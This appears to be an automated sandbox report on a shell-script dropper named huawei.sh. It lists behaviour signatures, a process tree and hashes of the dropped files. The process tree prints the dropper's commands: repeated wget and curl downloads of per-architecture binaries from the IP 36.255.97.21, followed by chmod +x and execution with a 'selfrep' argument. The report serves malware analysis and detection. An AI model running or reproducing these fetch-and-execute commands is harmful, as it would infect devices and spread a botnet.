Analysis

  • max time kernel
    7s
  • max time network
    9s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/08/2026, 14:08

General

  • Target
    huawei.sh
  • Size 2KB
  • Sample260811-rfrvysvbma
  • SHA256 66ecff248a0357c85ebc56f69cf664ddc6d856a37442370180fb704b970f65f8
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/huawei.sh
    /tmp/huawei.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:645
    • /usr/bin/wget
      wget http://36.255.97.21/main_x86
      2⤵
        PID:651
      • /usr/bin/curl
        curl -O http://36.255.97.21/main_x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:667
      • /bin/cat
        cat main_x86
        2⤵
          PID:675
        • /bin/chmod
          chmod +x huawei.sh main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/WTH
          ./WTH huawei.selfrep
          2⤵
            PID:677
          • /usr/bin/wget
            wget http://36.255.97.21/main_mips
            2⤵
            • System Network Configuration Discovery
            PID:678
          • /usr/bin/curl
            curl -O http://36.255.97.21/main_mips
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:679
          • /bin/cat
            cat main_mips
            2⤵
            • System Network Configuration Discovery
            PID:680
          • /bin/chmod
            chmod +x huawei.sh main_mips main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
            2⤵
            • File and Directory Permissions Modification
            PID:681
          • /tmp/WTH
            ./WTH huawei.selfrep
            2⤵
              PID:682
            • /usr/bin/wget
              wget http://36.255.97.21/main_mpsl
              2⤵
                PID:683
              • /usr/bin/curl
                curl -O http://36.255.97.21/main_mpsl
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:684
              • /bin/cat
                cat main_mpsl
                2⤵
                  PID:685
                • /bin/chmod
                  chmod +x huawei.sh main_mips main_mpsl main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:686
                • /tmp/WTH
                  ./WTH huawei.selfrep
                  2⤵
                    PID:687
                  • /usr/bin/wget
                    wget http://36.255.97.21/main_arm
                    2⤵
                      PID:688
                    • /usr/bin/curl
                      curl -O http://36.255.97.21/main_arm
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:697
                    • /bin/cat
                      cat main_arm
                      2⤵
                        PID:707
                      • /bin/chmod
                        chmod +x huawei.sh main_arm main_mips main_mpsl main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                        2⤵
                        • File and Directory Permissions Modification
                        PID:709
                      • /tmp/WTH
                        ./WTH huawei.selfrep
                        2⤵
                          PID:710
                        • /usr/bin/wget
                          wget http://36.255.97.21/main_arm5
                          2⤵
                            PID:712
                          • /usr/bin/curl
                            curl -O http://36.255.97.21/main_arm5
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:720
                          • /bin/cat
                            cat main_arm5
                            2⤵
                              PID:735
                            • /bin/chmod
                              chmod +x huawei.sh main_arm main_arm5 main_mips main_mpsl main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                              2⤵
                              • File and Directory Permissions Modification
                              PID:736
                            • /tmp/WTH
                              ./WTH huawei.selfrep
                              2⤵
                                PID:738
                              • /usr/bin/wget
                                wget http://36.255.97.21/main_arm6
                                2⤵
                                  PID:741
                                • /usr/bin/curl
                                  curl -O http://36.255.97.21/main_arm6
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:744
                                • /bin/cat
                                  cat main_arm6
                                  2⤵
                                    PID:745
                                  • /bin/chmod
                                    chmod +x huawei.sh main_arm main_arm5 main_arm6 main_mips main_mpsl main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:746
                                  • /tmp/WTH
                                    ./WTH huawei.selfrep
                                    2⤵
                                      PID:747
                                    • /usr/bin/wget
                                      wget http://36.255.97.21/main_arm7
                                      2⤵
                                        PID:748
                                      • /usr/bin/curl
                                        curl -O http://36.255.97.21/main_arm7
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:749
                                      • /bin/cat
                                        cat main_arm7
                                        2⤵
                                          PID:750
                                        • /bin/chmod
                                          chmod +x huawei.sh main_arm main_arm5 main_arm6 main_arm7 main_mips main_mpsl main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:751
                                        • /tmp/WTH
                                          ./WTH huawei.selfrep
                                          2⤵
                                            PID:752
                                          • /usr/bin/wget
                                            wget http://36.255.97.21/main_ppc
                                            2⤵
                                              PID:753
                                            • /usr/bin/curl
                                              curl -O http://36.255.97.21/main_ppc
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:756
                                            • /bin/cat
                                              cat main_ppc
                                              2⤵
                                                PID:765
                                              • /bin/chmod
                                                chmod +x huawei.sh main_arm main_arm5 main_arm6 main_arm7 main_mips main_mpsl main_ppc main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:767
                                              • /tmp/WTH
                                                ./WTH huawei.selfrep
                                                2⤵
                                                  PID:769
                                                • /usr/bin/wget
                                                  wget http://36.255.97.21/main_m68k
                                                  2⤵
                                                    PID:770
                                                  • /usr/bin/curl
                                                    curl -O http://36.255.97.21/main_m68k
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:779
                                                  • /bin/cat
                                                    cat main_m68k
                                                    2⤵
                                                      PID:788
                                                    • /bin/chmod
                                                      chmod +x huawei.sh main_arm main_arm5 main_arm6 main_arm7 main_m68k main_mips main_mpsl main_ppc main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:790
                                                    • /tmp/WTH
                                                      ./WTH huawei.selfrep
                                                      2⤵
                                                        PID:792
                                                      • /usr/bin/wget
                                                        wget http://36.255.97.21/main_spc
                                                        2⤵
                                                          PID:793
                                                        • /usr/bin/curl
                                                          curl -O http://36.255.97.21/main_spc
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:794
                                                        • /bin/cat
                                                          cat main_spc
                                                          2⤵
                                                            PID:795
                                                          • /bin/chmod
                                                            chmod +x huawei.sh main_arm main_arm5 main_arm6 main_arm7 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:796
                                                          • /tmp/WTH
                                                            ./WTH huawei.selfrep
                                                            2⤵
                                                              PID:797
                                                            • /usr/bin/wget
                                                              wget http://36.255.97.21/main_i686
                                                              2⤵
                                                                PID:798
                                                              • /usr/bin/curl
                                                                curl -O http://36.255.97.21/main_i686
                                                                2⤵
                                                                • Checks CPU configuration
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:799
                                                              • /bin/cat
                                                                cat main_i686
                                                                2⤵
                                                                  PID:800
                                                                • /bin/chmod
                                                                  chmod +x huawei.sh main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:801
                                                                • /tmp/WTH
                                                                  ./WTH huawei.selfrep
                                                                  2⤵
                                                                    PID:802
                                                                  • /usr/bin/wget
                                                                    wget http://36.255.97.21/main_sh4
                                                                    2⤵
                                                                      PID:803
                                                                    • /usr/bin/curl
                                                                      curl -O http://36.255.97.21/main_sh4
                                                                      2⤵
                                                                      • Checks CPU configuration
                                                                      • Reads runtime system information
                                                                      • Writes file to tmp directory
                                                                      PID:804
                                                                    • /bin/cat
                                                                      cat main_sh4
                                                                      2⤵
                                                                        PID:805
                                                                      • /bin/chmod
                                                                        chmod +x huawei.sh main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:806
                                                                      • /tmp/WTH
                                                                        ./WTH huawei.selfrep
                                                                        2⤵
                                                                          PID:807
                                                                        • /usr/bin/wget
                                                                          wget http://36.255.97.21/main_arc
                                                                          2⤵
                                                                            PID:808
                                                                          • /usr/bin/curl
                                                                            curl -O http://36.255.97.21/main_arc
                                                                            2⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • Writes file to tmp directory
                                                                            PID:809
                                                                          • /bin/cat
                                                                            cat main_arc
                                                                            2⤵
                                                                              PID:810
                                                                            • /bin/chmod
                                                                              chmod +x huawei.sh main_arc main_arm main_arm5 main_arm6 main_arm7 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-xgSQ4k WTH
                                                                              2⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:811
                                                                            • /tmp/WTH
                                                                              ./WTH huawei.selfrep
                                                                              2⤵
                                                                                PID:812

                                                                            Network

                                                                                  MITRE ATT&CK Enterprise v16

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  WTH

                                                                                  • Path /tmp/WTH
                                                                                  • Size 207B
                                                                                  • SHA256 6ad47ae9615d2014788d462d7d4c27601705a7f808b151fb1e15d3ea20347db5
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_arc

                                                                                  • Path /tmp/main_arc
                                                                                  • Size 206B
                                                                                  • SHA256 afbd8b1b91e50ab748075c20135197146c30abb89c18491db4968115d81dde31
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_arm

                                                                                  • Path /tmp/main_arm
                                                                                  • Size 206B
                                                                                  • SHA256 54d378f756a7129cad0ac9dbc6ba20271dff5f92d69aabb8ea0c78b2f57e4666
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_arm5

                                                                                  • Path /tmp/main_arm5
                                                                                  • Size 207B
                                                                                  • SHA256 75b0086c3db295c57a1e9c1662f27a3ea3bc6ab9a8d8055d2891e82eecc08239
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_arm6

                                                                                  • Path /tmp/main_arm6
                                                                                  • Size 207B
                                                                                  • SHA256 b7990a7f2c82ca6c108fc426405ec64d44a9ccae1e50893c8d46635720b663c4
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_arm7

                                                                                  • Path /tmp/main_arm7
                                                                                  • Size 207B
                                                                                  • SHA256 2b05c950a480fbc552d3cf4f16ea075999cd2ad46085ab652fb19ef934f21329
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_i686

                                                                                  • Path /tmp/main_i686
                                                                                  • Size 207B
                                                                                  • SHA256 d7003af9a551b1e5622a749bbe8fc6927f81712b0b18c22d9fd15a414e0d0bdc
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_m68k

                                                                                  • Path /tmp/main_m68k
                                                                                  • Size 207B
                                                                                  • SHA256 878262598e8d22a1bb90f98842c5b0012c703534a1c05bd9d6c261e3847cb806
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_mips

                                                                                  • Path /tmp/main_mips
                                                                                  • Size 207B
                                                                                  • SHA256 abd7db081038ad52abe13c8345e167b68f6fd135abca3af1e52bcc6c1eecf1f7
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_mpsl

                                                                                  • Path /tmp/main_mpsl
                                                                                  • Size 207B
                                                                                  • SHA256 7764496bdf23c02fde2bf2f381fb97bedd44b2df932157c29591c5d66f871307
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_ppc

                                                                                  • Path /tmp/main_ppc
                                                                                  • Size 206B
                                                                                  • SHA256 2763b6aba14dcdb91912224a4c8be93f2e45038a576a8cfc3028c5a8fbea97ac
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_sh4

                                                                                  • Path /tmp/main_sh4
                                                                                  • Size 206B
                                                                                  • SHA256 ef5294d07c49b820c26104b10267ada99d3791e4adf41d555ecebf2dd5f10ee4
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_spc

                                                                                  • Path /tmp/main_spc
                                                                                  • Size 206B
                                                                                  • SHA256 e1d43933140b600207b21a59b5d260ed39ec3db497ab3c329a8d724ceecff16a
                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                  main_x86

                                                                                  • Path /tmp/main_x86
                                                                                  • Size 206B
                                                                                  • SHA256 e212dfc63ee006c8085be5b8d5bc1ddd7935be5bbb8c7a25b529523417717ee6
                                                                                  • MD5 SHA1 SHA512 TLSH